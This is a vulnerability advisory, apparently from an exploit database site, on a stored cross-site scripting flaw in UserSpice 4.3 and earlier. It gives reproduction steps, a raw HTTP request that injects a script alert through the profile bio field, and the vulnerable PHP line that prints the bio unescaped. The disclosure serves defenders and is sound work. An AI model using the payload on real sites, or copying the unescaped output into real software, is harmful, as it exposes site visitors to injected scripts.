userSpice 4.3 Cross-Site Scripting

Credit: Dolev Farhi
Risk: Low
Local: No
Remote: Yes

Application UserSpice PHP user management Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting URL Date 2.13.2018 Author Dolev Farhi 1. Login with a regular user 2. Navigate to Public profile 3. Edit your bio 4. Enter XSS payload 5. Once anyone visits the Bio page the payload will execute POST /users/edit_profile.php HTTP/1.1 Host: Content-Length: 59 Cache-Control: max-age=0 Origin: Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,he;q=0.8 Connection: close bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio= Vulnerable code: <td> <h4><a href="profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?> </a></h4> <p><?=$ususerbio?></p> </td>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top